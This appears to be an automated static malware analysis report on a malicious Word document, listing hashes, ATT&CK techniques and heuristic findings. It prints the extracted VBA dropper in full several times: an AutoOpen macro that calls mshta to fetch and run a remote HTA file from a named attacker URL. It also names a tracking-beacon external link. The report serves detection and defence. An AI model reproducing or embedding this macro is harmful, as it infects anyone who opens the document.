Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8ef4bc09a9534910…

MALICIOUS

Office (OOXML)

20.1 KB Created: 2018-11-25 23:57:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-08-04
MD5: 056b178bbeea109d705439aa4e203d09 SHA-1: 5ae5ca0daccfa21706e157a19bdb67e48cbfe137 SHA-256: 8ef4bc09a9534910617834457114b9217cac9cb33ae22b37889040cde4cabea6
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes the AutoOpen subroutine. This subroutine uses the Shell() function to launch mshta.exe, which downloads and executes a remote HTA file from the URL https://mohanimpex.com/include/tempdoc/891250/Ersrr0.hta. This indicates a dropper or downloader functionality, aiming to execute further malicious code.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6846847-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6846847-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sub AutoOpen()
    Shell ("mshta https://mohanimpex.com/include/tempdoc/891250/Ersrr0.hta")
    End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Sub AutoOpen()
    Shell ("mshta https://mohanimpex.com/include/tempdoc/891250/Ersrr0.hta")
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub AutoOpen()
    Shell ("mshta https://mohanimpex.com/include/tempdoc/891250/Ersrr0.hta")
  • Remote image (web beacon / tracking pixel) medium OOXML_IMAGE_BEACON
    Document references an external image URL — loads automatically on open, revealing IP address and timestamp to the server (used for phishing tracking and NTLM hash theft on corporate networks)
  • External relationship medium OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: https://mohanimpex.com/include/tempdoc/891250/doc.php?op=2
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://mohanimpex.com/include/tempdoc/891250/doc.php?op=2 OOXML external relationship
    • https://mohanimpex.com/include/tempdoc/891250/Ersrr0.htaIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 419 bytes
SHA-256: 7d1666d6a7ccfeaf51ae6d3405343179382099bd6317c2f783b1de71af4d6b38
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Shell ("mshta https://mohanimpex.com/include/tempdoc/891250/Ersrr0.hta")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: bddfccb52538a95a8346047493d91820a2bec5d71bb1754e9c79f1a4d0b16963
Detection
ClamAV: Doc.Dropper.Agent-6846847-0
Obfuscation or payload: unlikely